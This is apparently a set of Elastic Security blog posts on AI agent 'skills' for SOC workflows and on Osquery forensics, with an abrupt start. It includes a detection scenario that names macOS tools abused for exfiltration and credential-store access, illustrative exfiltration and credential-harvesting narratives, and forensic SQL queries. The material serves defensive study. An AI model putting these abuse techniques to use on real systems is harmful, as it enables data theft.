When asked about a specific user, host, or service, the conversation opens a user interface within the chat and includes links to directly open the Kibana UI for entity flyouts.

The hunters get to the same page they would have reached by navigating manually, and with Conversational Entity Analytics, they can interact through the conversation.

The power to threat hunt in any way

Every Entity Analytics AI Skill in the Chat-First Experience has a corresponding Kibana Entity Analytics UI surface it can hand off to, preview, or sit alongside. The hunter chooses the path: some hunts are best opened in chat, and others are best opened in the UI. Hunters can interact freely between both.

What this means for the hunter: Start with a question, a hypothesis, a dashboard, or a raw log. Move between chat and the Kibana UI at any point. The Entity Store, Risk Score contract, Unified Entity Resolution, AI Hunting Leads, Watchlists, and the Entity Analytics Dashboard are the same underneath — reached through whichever surface fits the moment.

In practice, Hunters spend less time navigating and more time analyzing. They get to the right entity in seconds, see the full risk-score breakdown and threat narrative inline, without losing the evidence on screen. The hunt accelerates, and the surface of what’s interactive expands.

Entity Analytics AI Skills offer a conversational experience. Together with the Kibana UI, they give every hunter the power to hunt in any way.

In most security operations centers (SOCs), that's three different people, three different workflows, and a morning spent context-switching. In Elastic Security 9.4, it's one conversation.

You open the Elastic AI Agent and start working. The agent doesn't try to handle everything with one giant prompt. Instead, it activates the right skill for each task, loading specialized instructions, selected tools, and domain context only when needed. Detection Rule Edit writes your Elasticsearch Query Language (ES|QL) rule. Alert Analysis triages the campaign. Threat Hunting chases the service account. Each skill focuses on one job. Together, they cover the full pipeline.

In this article, we'll walk through the architecture, what each skill does, and how they work together in real scenarios.

The problem: AI assistants that know a little about everything

Most AI assistants are monolithic. One system prompt tries to cover detection, investigation, response, entity analysis, and threat hunting all at once. This creates two problems that compound as capabilities grow.

Context window dilution. Every instruction, every tool description, every example takes up tokens. When the prompt tries to cover every SOC workflow, the model has less room for the actual data it needs to reason about: your alerts, your entities, your logs. As you add more capabilities, the quality of each one degrades.

Jack-of-all-trades performance. A prompt that covers everything handles nothing with depth. Ask it to write a detection rule, and it produces something generic. Ask it to investigate an entity, and it misses the nuance of the risk score composition. The model knows a little about many things but lacks the specialized knowledge that makes the output useful.

The industry response has been to build separate agents for separate tasks: a detection agent, a hunting agent, a triage agent. But that fragments the experience. Analysts have to know which agent to use, switch between them, and manually pass context from one to another. The AI becomes a tool-switching exercise rather than a productivity gain.

We needed an architecture that scales to dozens of capabilities without diluting any of them, and without forcing analysts to manage multiple agents.

The solution: Skills

Skills are a well-established pattern in AI agent architecture, a way to give a generalist model specialized capabilities on demand. In our implementation, a skill is a package of three things: a system prompt tuned for a specific SOC workflow, a curated set of tools selected for the task, and referenced domain content. The concept isn't new. What's new is applying it to security operations with depth: Each skill encodes the reasoning patterns, query templates, and domain knowledge that experienced analysts use daily.

The architecture rests on three ideas.

Each skill does one job well. The Threat Hunting skill knows how to formulate hypotheses, iterate on ES|QL queries, identify anomalies, and document findings. It doesn't know how to edit detection rules. That's not a limitation; it's the point. Because each skill focuses on a single intent, it can include richer instructions, better examples, and more precise tool configurations than a monolithic prompt ever could.

Skills work together. When Alert Analysis encounters a high-risk entity, it references the Entity Analytics skill for deeper profiling. When Threat Hunting finds a suspicious binary, it can hand off to the detection pipeline. Multi-step investigations happen without requiring the analyst to orchestrate each handoff.

Nothing loads until it's needed. Skills activate on demand, not all at once. The agent's context window stays lean as the total number of capabilities grows. You can add a new skill without degrading any existing one, because each operates in its own focused context.

At a glance, the following image shows a skill in action:

Five skills for the security operations pipeline

Elastic Security 9.4 ships five skills that span the core SOC workflows: detection, triage, hunting, entity analysis, and anomaly investigation.

Three scenarios show how these skills work in practice.

Scenario 1: Writing a detection rule for macOS LOLBin abuse

Your team just onboarded a fleet of macOS endpoints. You have solid detection coverage for Windows living-off-the-land binaries but almost nothing for macOS equivalents. Attackers routinely abuse built-in macOS utilities, like osascript, curl, openssl, and sqlite3, to execute payloads, exfiltrate data, and access credential stores without triggering basic malware detection. You need rules for these, and you need them before the next red team exercise.

You open the Elastic AI Agent and type: Create an ES|QL detection rule for macOS LOLBin abuse. Look for suspicious use of built-in macOS utilities, like osascript, curl, openssl, and sqlite3, being spawned by unexpected parent processes.

The Detection Rule Edit skill activates:

• The skill uses platform.core.generate_esqlto draft an ES|QL query targeting logs-endpoint.events.process-*, filtering for known macOS LOLBins spawned by unusual parent processes (for example, osascript launched by a web browser, or url invoked by a shell script running from /tmp).

• It maps the rule to MITRE ATT&CK: T1059.002, AppleScript, and T1105, Ingress Tool Transfer under the Execution and Command and Control tactics.

• The skill calls security.security_labs_search to check whether Elastic Security Labs has published research on macOS LOLBin techniques, pulling relevant context into the rule's investigation guide.

• It generates the complete rule definition (name, description, severity, risk score, tags, MITRE mapping, schedule, and the validated ES|QL query) and presents it as an editable rule attachment in the conversation.

You review the query, tune the parent-process allow list to exclude your IT team's legitimate automation scripts, and save. The rule is live. Total time: under five minutes.

Without the skill, this process means switching to the detection rules UI, manually writing ES|QL against the correct indices, researching which macOS utilities qualify as LOLBins, looking up the right MITRE technique IDs, and hoping you haven't missed an edge case. That's 30–60 minutes for an experienced detection engineer, longer for someone less familiar with the macOS process hierarchy.

Scenario 2: Attack Discovery surfaces a campaign

Overnight, Attack Discovery correlated 12 alerts across three hosts and two users into a single narrative: Credential harvesting via browser credential store access and suspicious authentication patterns. The discovery is sitting in your queue when you arrive.

You click into the agent and ask: Analyze the credential-harvesting discovery. Are these alerts true positives? What's the blast radius?

Alert Analysis goes first. It fetches the correlated alerts using security.alerts, pulling the full alert details: rule names, severities, MITRE techniques, affected entities. Then it uses its inline tool security.alert-analysis.get-related-alerts to find additional alerts sharing entities with the correlated set. It discovers four additional alerts involving the same user (j.martinez) from the past 48 hours, alerts that weren't part of the credential-harvesting campaign pattern but are relevant to the broader investigation of this user's activity. These are failed authentication attempts against a different service, suggesting the attacker is testing stolen credentials across systems.

Next, it queries security.security_labs_search to check whether the observed TTPs match known threat actor playbooks. It finds a match: The technique chain (credential store access → lateral authentication → service enumeration) aligns with a published Elastic Security Labs report on a commodity access broker toolkit.

Finally, it calls security.entity_risk_score to assess the involved entities. j.martinez has a risk score of 87 (critical), already elevated before this campaign due to prior anomalous VPN activity.

The triage is done: true positive, high confidence, expanding blast radius. But you want deeper entity context. What else has j.martinez been doing?

The Entity Analytics skill picks up. Using security.get_entity, it pulls the full entity profile: risk score history over 90 days, contributing risk inputs (the current campaign plus two prior anomaly detections), asset criticality (the account has admin access to three production databases), and behavioral patterns. The profile shows that `j.martinez's risk score has increased by 34 points in the last week, well above the significant-change threshold.

You now have the full picture: confirmed campaign, expanding scope, high-value target, and historical context. You ask the agent to create a case with all findings attached. It compiles alert evidence, entity profile, threat intel matches, and recommended containment actions into a single case.

Scenario 3: An anomaly leads to a hunt

While reviewing the morning's anomalies, the Security ML jobs flagged unusual behavior on svc-backup-prod, a service account that normally runs scheduled backup jobs between 2:00 and 4:00 a.m. The anomaly: large outbound data transfers at 11:00 p.m., well outside the normal window, to an IP address the account has never contacted before.

You ask: Investigate the anomalies on svc-backup-prod. What's happening?

The Security ML Jobs skill starts by calling find.security.ml.jobs to find the relevant ML jobs and anomaly indices, in this case jobs monitoring network traffic patterns and data exfiltration signals. It generates and executes an ES|QL query against `.ml-anomalies-*, filtering for svc-backup-prod` records above the anomaly score threshold. The results show three anomalous sessions over the past week, each with increasing data volume: 2 GB, then 8 GB, and then 23 GB.

Since Entity Store v2 is enabled, the skill extracts the entity's unique identifier and calls security.get_entity to pull the full entity profile. It reveals that svc-backup-prod was recently granted access to a new file share containing customer PII, and its asset criticality is classified as extreme_impact.

The anomaly data is concerning, but you need to dig deeper. You type: Hunt for all network activity from svc-backup-prod to external IPs in the last 30 days. Compare against baseline.

The Threat Hunting skill takes over. Using platform.core.generate_esql and platform.core.execute_esql, it iteratively builds queries against logs-endpoint.events.network-*:

• First pass: Aggregate all outbound connections by destination IP, ordered by total bytes transferred. The results confirm that the flagged IP (198.51.100.47) accounts for 33 GB of outbound traffic, all within the past 10 days. None before that.

• Second pass: Check the destination IP against DNS resolution patterns. The IP resolves to a recently registered domain (storage-sync-cdn.cloud) with a registrar commonly associated with bulletproof hosting.

• Third pass: Correlate with process telemetry. The connections originate from a process (rsync) that svc-backup-prod normally uses, but it's connecting to an unauthorized destination. The attacker is using a legitimate tool for exfiltration, making rule-based detection difficult.

The hunt confirms a data exfiltration campaign using living-off-the-land techniques. The Threat Hunting skill documents the hypothesis, queries, and evidence trail. You create a case with containment recommendations: Isolate the host, rotate the service account credentials, and block the destination IP at the network perimeter.

Three skills. One conversation. From anomaly to confirmed exfiltration in minutes, not hours.

Under the hood: How skills are built

Each skill is defined as a SkillType, a structured object that bundles everything the agent needs for a specific domain:

• System prompt (content): The core instructions. This is where domain expertise lives. The Threat Hunting skill, for example, includes a complete hunting process (formulate hypothesis → identify data sources → explore iteratively → identify anomalies → search for IOCs → document findings) with embedded ES|QL templates for common patterns, like lateral movement detection and C2 beaconing analysis.

• Registry tools (getRegistryTools): The set of platform and security tools the skill can invoke. Each skill gets only the tools it needs. Alert Analysis gets security.alerts, security.security_labs_search, and security.entity_risk_score. Threat Hunting gets platform.core.generate_esql, platform.core.execute_esql, platform.core.search, and platform.core.cases. No skill has access to tools it doesn't need.

• Inline tools (getInlineTools): Skill-specific tools that only exist within that skill's context. Alert Analysis defines security.alert-analysis.get-related-alerts, a tool that finds alerts sharing entities with a given alert. This tool doesn't exist outside the Alert Analysis skill because no other workflow needs it.

• Referenced content (referencedContent): Named chunks of domain knowledge that the skill can pull in when needed. The Threat Hunting skill includes embedded ES|QL query templates for lateral movement, C2 beaconing, brute force detection, and rare process execution. These are ready-made patterns that the agent adapts to the specific investigation.

Because each skill is self-contained, adding a new one (for incident response automation or binary analysis, say) doesn't touch any existing skill. Each operates independently, with its own prompt, its own tools, and its own domain knowledge

Skills in the Agentic SOC

If you read our previous post on Attack Discovery, Workflows, and Elastic Agent Builder, you'll recognize the pattern. In that post, we extended the Threat Hunting Agent with five custom workflow tools (VirusTotal lookups, on-call schedule checks, case creation, Slack channel creation, and time retrieval) to build an automated triage pipeline for advanced persistent threat–level (APT-level) threats.

Skills are the productized evolution of that approach. Instead of requiring each SOC team to build custom agents and wire up individual tools, Elastic Security now ships domain expertise out of the box. The five skills in 9.4 cover the workflows that every SOC runs daily (detection, triage, hunting, entity analysis, and anomaly investigation) with the same composable, tool-backed architecture.

Skills also integrate directly with the rest of the Agentic SOC stack:

• Attack Discovery generates alerts that can trigger Workflows, which invoke the agent. The agent activates Alert Analysis, Entity Analytics, or Threat Hunting, depending on what the discovery requires.

• Workflows provide the execution layer, both scripted automation and AI-augmented reasoning. A Workflow can run deterministic actions, like case creation, host isolation, and notification, but it can also invoke the Elastic AI Agent as a step, triggering skill-based reasoning mid-pipeline. This means a single Workflow can isolate a host (scripted), then ask the agent to triage the related alerts using Alert Analysis (AI-driven), and then escalate to Slack (scripted), combining reliability with intelligence.

• Custom tools and Model Context Protocol (MCP) remain fully available. Skills don't replace customization. They complement it. Teams can still add workflow-backed tools, connect external MCP servers, and extend the agent for their environment-specific needs.

Security users also benefit from three platform skills that ship alongside the security-specific ones.

• Dashboard Management lets analysts build and update Kibana dashboards through conversation. After completing the exfiltration investigation in Scenario 3, you could ask the agent: Create a dashboard showing outbound data transfer volume by service account over the last 30 days, with a breakdown by destination IP. The skill generates the visualizations and presents them as an editable attachment, so you go from investigation findings to a shareable executive briefing without switching tools.

• Workflow Authoring (available as an experimental capability) helps teams write and modify workflow YAML through the agent. Instead of hand-authoring a triage Workflow from scratch, you could ask: Create a workflow that triggers on critical-severity alerts, runs the alert through the AI agent for triage, and creates a Slack channel if it's confirmed as a true positive. The skill generates the YAML definition, validates it, and lets you review before deploying. This turns Workflow creation from a manual authoring task into a conversation.

• Graph Creation lets analysts visualize entity relationships and attack paths through conversation. After the Alert Analysis skill identifies that j.martinez's compromised credentials were used across three hosts, you could ask: Create a graph showing the relationship between j.martinez, the affected hosts, and the credential-harvesting alerts. The skill generates an interactive node-link visualization showing how entities connect, making it easier to brief stakeholders on attack scope and lateral movement paths.

The pieces form a layered system: Attack Discovery surfaces threats, skills provide domain expertise for analysis, Workflows execute the response, and platform skills help you build the dashboards, graphic representation, and automation that tie it all together.

Key takeaways

• Skills are the unit of AI expertise in the SOC. Each skill packages domain knowledge, curated tools, and specialized instructions for a single workflow: detection, triage, hunting, entity analysis, or anomaly investigation.

• One agent, not five. Analysts don't switch between agents. The Elastic AI Agent activates the right skill based on the task, keeping the experience unified and the context connected.

• Composable by design. Skills reference each other. Alert Analysis hands off to Entity Analytics for deeper profiling. Threat Hunting builds on ML anomaly findings. Investigations flow naturally across skills without manual context transfer.

• Efficient at scale. Skills load on demand. Adding new skills doesn't degrade existing ones. Each operates in its own focused context window, so quality improves as capabilities grow.

• Built on the Agentic SOC stack. Skills work with Attack Discovery, Workflows, and custom tools. They make the automation pipeline richer by giving the agent deeper domain expertise at every step.

• Extensible. The five out-of-the-box skills ship with 9.4, but the architecture supports custom skills. Teams can build skills tailored to their environment, their data sources, and their SOC processes.

Get started

Skills ship as part of Elastic Security 9.4. They're available out of the box in the Elastic AI Agent with no configuration required. Open a conversation, ask a security question, and the agent activates the right skill.

To learn more, see the Elastic AI Agent documentation and the Elastic Security 9.4 release notes.

Forensics today is no longer about collecting everything. It's about asking the right questions, in real time, across your entire environment.

This is where distributed, query-driven forensics comes in and why tools like Osquery have become foundational to modern Digital Forensics and Incident Response (DFIR). Most DFIR workflows have a hidden cost: the time lost switching between your endpoint detection and response (EDR), your security information and event management (SIEM), and your forensic tooling. Elastic Security eliminates that gap entirely, from a blocked alert to a deep-dive forensic query, without leaving the platform or losing investigative context.

Rethinking forensics in modern environments

DFIR has traditionally been treated as a post-incident activity. Evidence was collected, systems were imaged, and analysis happened after the attacker had already completed their objectives. That model assumed stability: stable hosts, predictable timelines, and the ability to pause systems for investigation.

Today, those assumptions no longer hold.

Infrastructure is dynamic, endpoints are frequently reimaged or short-lived, and attackers operate on timelines measured in minutes rather than days. Waiting to collect full forensic images isn’t just inefficient; it’s also operationally infeasible. By the time analysis begins, the system may no longer exist, or the attacker may have already moved laterally.

As a result, DFIR has evolved into a live, iterative discipline. Investigators no longer rely on full disk acquisition as a starting point. Instead, they interrogate endpoints directly, retrieving only the artifacts that matter, when they matter.

From disk imaging to distributed DFIR

This shift represents a fundamental change in how investigations are performed.

Rather than centralizing evidence and analyzing it in isolation, investigators now distribute their questions across the environment. Each endpoint becomes a source of truth that can be queried in real time. Instead of waiting hours for data collection, analysts can validate hypotheses in seconds, pivot quickly, and refine their investigation as new evidence emerges.

This model enables a far more responsive workflow. Questions lead to queries, queries lead to insights, and insights drive the next steps of the investigation.

Osquery as a forensic interface

At the center of this model is Osquery, which exposes operating system (OS) artifacts as structured tables that can be queried using SQL. Processes, network connections, file activity, registry entries, and execution artifacts become immediately accessible without the need for heavyweight collection.

This abstraction transforms the OS into a queryable forensic dataset. Instead of navigating multiple tools or collecting large volumes of raw data, investigators can focus on answering specific questions with precision.

To support this, Elastic doesn't just integrate Osquery Manager, but we also build our own Osquery extensions to cover critical forensic artifacts that aren’t natively available. We make these extensions available within Elastic Security and contribute them back to the community. This includes visibility into areas such as browser history, AmCache, and jumplists, enabling deeper insight into user activity and execution patterns directly from the endpoint. We have contributed to Osquery with YARA memory scanning and OpenHandles too.The Osquery results are automatically stored in an Elasticsearch index and can easily be mapped to the Elastic Common Schema (ECS).

Beyond individual live queries, Elastic also provides out-of-the-box Osquery curated queries designed for forensic investigations, also mapped to ECS. These queries target the forensic artifacts that matter most during an investigation, such as Prefetch files that prove execution, Shimcache entries that confirm a binary existed on disk, registry keys that expose persistence mechanisms, and scheduled tasks that reveal attacker footholds.

From alert triaging to forensic reconstruction

Alerts are often the entry point into an investigation, but in a modern security operations center (SOC), they signify active defense. Elastic Defend provides this first line of active protection. This native Elastic Endpoint Security integration operates at the kernel level for deep visibility and enforcement, consistently earning top AV-Comparatives scores. Beyond alerts, Elastic Defend provides continuous enforcement, stopping threats like ransomware, malware, and in-memory exploits, using advanced behavioral preventions. While investigations begin with a signal, damage is already mitigated.

However, once a threat is neutralized, the key critical question remains: What actually happened?

This is where investigating with Osquery becomes essential. While Elastic Defend neutralizes the threat and captures the real-time telemetry, Osquery acts as your deep-dive forensic interface. It allows you to interrogate the endpoint for specific, high-fidelity artifacts, such as execution history in the Shimcache or manual navigation in Shellbags, to reconstruct a definitive timeline with evidence that goes beyond telemetry.

Together, Elastic Defend and Osquery form a complementary system that spans the full detection and response lifecycle. One provides continuous visibility and alerting; the other delivers the forensic depth required to investigate and validate those alerts. This combination allows analysts to move easily from detection to investigation, bridging the gap between signal and understanding.

Hunts: Operationalizing forensic and threat hunting investigations

As investigations progress, many of the same questions are repeatedly asked across different incidents. Rather than rebuilding queries each time, these can be standardized into reusable hunts.

Apart from curated queries, Elastic also provides curated Osquery packs aligned with common attacker tactics and techniques. These packs can be scheduled and allow analysts to quickly validate suspicious process execution, identify potential defense evasion behavior, and detect signs of lateral movement without writing queries from scratch.

In this scenario, hunts enable the investigation to expand beyond a single host. Analysts can rapidly determine whether similar execution patterns or indicators exist elsewhere in the environment, significantly accelerating the investigation process.

Scaling the investigation

Once key indicators such as domains or file hashes are identified, the investigation can be extended across the entire environment. Queries used for validation can be reused to identify similar activity on other endpoints.

This approach allows analysts to determine the scope of the incident, identify additional affected systems, and prioritize response efforts based on impact. Osquery, combined with Elastic across the environment, enables centralized query execution and fleet-wide forensics investigations.

From investigation to response

Up to this point, the focus has been on understanding what happened. Modern DFIR, however, requires the ability to act on those findings immediately.

By combining Osquery with Elastic Defend, investigators can move directly from analysis to response within the same workflow.

Once malicious execution is confirmed, the affected host can be isolated to prevent further communication and reduce the risk of lateral movement. In situations requiring deeper analysis, investigators can also collect a memory dump from the endpoint.

This memory dump can be downloaded and analyzed using external tools, such as Volatility, enabling further investigation of in-memory activity that may not be visible through traditional artifacts.

The Osquery and Elastic Defend combination allows analysts to move easily from detection to investigation to response, reducing friction and accelerating the overall DFIR process.

Detection with Osquery: From telemetry to signal

While Osquery is often used for live investigations, it also plays an important role in detection. When executed through scheduled packs, Osquery continuously collects endpoint data that can be used within Elastic Security to create SIEM detection rules. The results of these queries are indexed in logs-Osquery_manager.result*, making them searchable and usable as a detection data source.

Each query execution is identified by the action.id field. For scheduled packs, this follows a consistent naming convention: pack_{pack_name}_{query_name}. This allows analysts to reference specific queries when building detection logic, effectively turning Osquery packs into reusable detection building blocks.

This creates a natural feedback loop between investigation and detection. Queries initially used during forensic analysis can be operationalized into scheduled packs, continuously running across the environment and surfacing suspicious behavior automatically, bridging the gap between reactive investigation and proactive detection. Moreover, Osquery can be run directly from alerts, as part of investigation guides and as a response action in a detection rule.

Investigation scenario: From malicious alert to root cause

Consider a scenario where a user receives a phishing email offering a “100% discount” through a shared download link. The message appears convincing enough to prompt interaction, leading the user to download a file from the provided link.

Shortly after, Elastic Defend triggers an alert indicating that malware execution was detected and terminated. The payload is identified as Mimikatz, a well-known tool used for credential access.

At this stage, the immediate threat has been blocked, but key questions remain unanswered. How did the file reach the endpoint? Was it executed by the user? Was this an isolated event or part of a broader attack?

Detection provides the signal but not the full story.

To understand the root cause, the investigation shifts to Osquery.

The first step is to identify how the file was introduced onto the system. Since the initial vector is a phishing link, browser artifacts provide a natural starting point. We’ll use the suspicious browser history query that removes all possible false positives from the Elastic browser history table.

This query helps identify whether the user accessed a suspicious link consistent with the phishing lure.

We see that the user lab1 accessed through Edge browser a link that, in theory, contains a discount zip file to be downloaded, and we can consider these findings as new indicators of compromise (IoCs).

In order to confirm whether the file was actually downloaded and therefore, the user clicked on the previous link, we can use the file table, checking for the presence of this zip file on disk, meaning the user clicked on that previous link. We’ll use the Elastic file query that also checks the file hash of that file on VirusTotal. We can see that this discount.zip file has a malicious reputation, being in reality Mimikatz.

Next, we validate whether a file was downloaded and executed as a result of that interaction. To determine whether the file was executed, we pivot into execution artifacts, such as Shimcache UserAssist, Shellbags, and Prefetch.

Shellbags clearly shows the drill-down behavior: The user didn't just open the folder; they navigated three levels deep into the x64 directory where the Mimikatz binary usually lives.

SELECT
  path,
  datetime(accessed_time, 'unixepoch') AS access_time
FROM shellbags
WHERE path LIKE '%discount%';

The shimcache tracks every executable that has been "seen" by the OS for compatibility purposes. Even if the file was never actually run, its presence here proves it existed in that path.

SELECT
  path,
  datetime(modified_time, 'unixepoch') AS last_run_human_readable,
  modified_time AS raw_timestamp
FROM shimcache
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';

NOTE: The "1970" date in the raw_timestamp column is a known forensics community issue. It results from a unit mismatch: Osquery stores timestamps in Unix epoch seconds, but the UI interprets this value as milliseconds. This calculation error compresses 56 years into roughly 20 days, causing the date to display as late January 1970 instead of April 2026. For forensic accuracy, the last_run_human_readable column remains the authoritative record, as it was correctly converted using second-based logic in the SQL query to reflect the true execution timeline.

To verify whether the user manually executed it, the userassist table is perfect. It tracks GUI-based execution (files launched via Windows Explorer).

SELECT
  path,
  count,
  datetime(last_execution_time, 'unixepoch') AS last_run_human_readable
FROM userassist
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';

Prefetch is the black box that proves an application was actually launched. Analyzing the prefetch, we can get a timeline of the events, identifying that the root cause was a malicious phishing email.

SELECT
  filename,
  run_count,
  datetime(last_run_time, 'unixepoch') AS last_run_utc,
  last_run_time AS raw_timestamp
FROM prefetch
WHERE (
  filename LIKE 'OLK.EXE%' OR
  filename LIKE 'MSEDGE%' OR
  filename LIKE 'MIMIKATZ%'
)
AND last_run_time BETWEEN 1775815200 AND 1775822400
ORDER BY last_run_time ASC;

The forensic evidence confirms a linear attack path when the user lab1 initiated the new Outlook client, evidenced by the simultaneous execution of OLK.EXE and its integrated web engine, MSEDGEWEBVIEW2.EXE. This was immediately followed by MSEDGE.EXE, indicating the browser was summoned to handle the phishing redirect and download. The trail turns from automated activity to manual intent where Shellbags recorded the user deliberately navigating the extracted discount folder in their Downloads directory. This window of manual interaction eventually culminated in the final execution of MIMIKATZ.EXE. The 26-minute gap between the Shellbag entry (manual folder access) and the Prefetch entry (Mimikatz execution) is forensically consistent with a human-in-the-loop (HITL) attack scenario, where the user reads the email, clicks the link, waits for the download, extracts the zip, looks around the folder (Shellbags at 11:09), and finally works up the courage (or curiosity) to double-click the .exe.

Transform forensics to investigate and respond at scale

Twenty-six minutes. That's how long it took a user to go from opening a phishing email to executing Mimikatz. And it took us less time than that to reconstruct the entire attack chain, without a disk image, without a dedicated forensic workstation, and without leaving Elastic.

That's what scalable DFIR looks like in practice: not a process change, not a platform migration, but the ability to ask the right question of the right endpoint at the right moment and to get an answer before the attacker takes their next step.

The investigation never stops. Neither should your forensics.

Forensics is now essential for large-scale investigation and response, moving beyond being a mere post-incident activity. The evolution of forensics at Elastic continues, with our next phase focusing on incorporating automation and AI. Get ready to unlock the full power of forensics by combining it with workflows and agentic AI, we'll be diving into this topic in an upcoming blog post. Stay tuned!

Get started with Elastic Security

Start your free trial of Elastic Security today and experience the benefits of Elastic Defend and Osquery. Improve your forensics skills by enhancing your threat detection capabilities and gaining deeper visibility into potential threats before they escalate.

Frequently Asked Questions

Q: How do I perform forensic investigations at scale without disk imaging? A: Elastic Security combines Osquery and Elastic Defend to enable distributed, query-driven forensics across your entire fleet. Osquery exposes OS artifacts as SQL-queryable tables, so investigators can retrieve execution history, file activity, and registry entries from thousands of endpoints in real time without collecting full disk images.

Q: How do I reconstruct an attack timeline using Osquery? A: Elastic Security's Osquery integration gives you access to execution artifacts like Prefetch, Shimcache, UserAssist, and Shellbags as queryable tables. By chaining queries across these sources you can reconstruct the full sequence of user and attacker actions, including file downloads, folder navigation, and binary execution, without a forensic workstation.

Q: How does Osquery integrate with Elastic Security for incident response? A: Elastic Security includes Osquery Manager natively, with curated forensic queries and packs mapped to ECS. Results are indexed automatically, making them searchable alongside alert data and usable as detection rule inputs. Osquery can also be run directly from alerts, investigation guides, and detection rule response actions.

Q: Can I detect threats with Osquery in addition to investigating them? A: Yes. Scheduled Osquery packs continuously collect endpoint data that Elastic Security indexes under logs-osquery_manager.result*, which can be used as a detection data source for SIEM rules. Queries developed during forensic investigations can be operationalized into scheduled packs, creating a feedback loop between reactive investigation and proactive detection.